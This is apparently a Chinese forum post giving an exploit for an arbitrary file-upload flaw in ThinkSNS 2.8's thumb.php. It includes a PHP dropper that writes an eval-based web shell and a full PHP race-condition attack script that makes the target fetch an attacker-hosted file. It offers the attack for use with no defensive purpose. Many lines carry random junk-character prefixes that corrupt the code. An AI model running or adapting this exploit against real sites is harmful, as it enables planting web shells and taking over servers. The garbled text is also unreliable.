Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
5 f+ b6 Z& Z& O8 H% r存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
# U7 q! ?. a% _2 A漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
, J8 g- |3 u2 t/ G5 ?0 B7 t<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
( w: f: \* q4 R+ I$ L2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
" w5 r) s- M! X' u. O$ @) u. l+ t
3、        上传临时文件。
4、        访问临时文件。
8 J+ K# q' {! G但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
, g- y( T. O& _0 P  ^7 S<?php
error_reporting(0);
, M6 W% ]0 J) T& x( H3 Yset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
: g: C3 l. F# o( D7 C" aif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
3 q9 _  L  i! s$ret=”";
2 H+ F1 _+ O+ ~while (!feof($fp))
1 O5 C! I* V8 u+ Y$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
) i1 x7 c' y( j7 i}
& _$ \- J) y) f' Xprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
$path = $argv[2];
# z4 y" y% a9 b* [& B: c$url = $argv[3];
$i=0;
//上传数据包
! s/ L0 W. f' X% ]9 S1 `& d$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" C3 W/ m: I: y8 `1 K9 h$headers_up .= “Host: “.$host.”\r\n”;
, _5 p$ m. R4 G! T# ^& e$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
  t& ?9 D/ Q' p2 g5 O# B; z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( v- j5 h" L+ s$ }* G$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
, p& }7 y- h9 @2 swhile(++$i<10) {
3 v+ B' o# q! b7 Efclose(http_send($host, 80, $headers));
" J  p' Q) r/ @0 D}
. n' v. J4 C" I1 Sfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
8 A# V6 Z) i' Eif(preg_match(‘/200 OK/’,$res)) {
# x8 h8 x3 W/ z9 F& n( _8 Uprint “Success!\n\n”;
) G* S4 r- M5 x; L5 w, C5 x} else {
print “Fail!\n\n”;
}
. o& {& m) s7 d) R$ I?>
​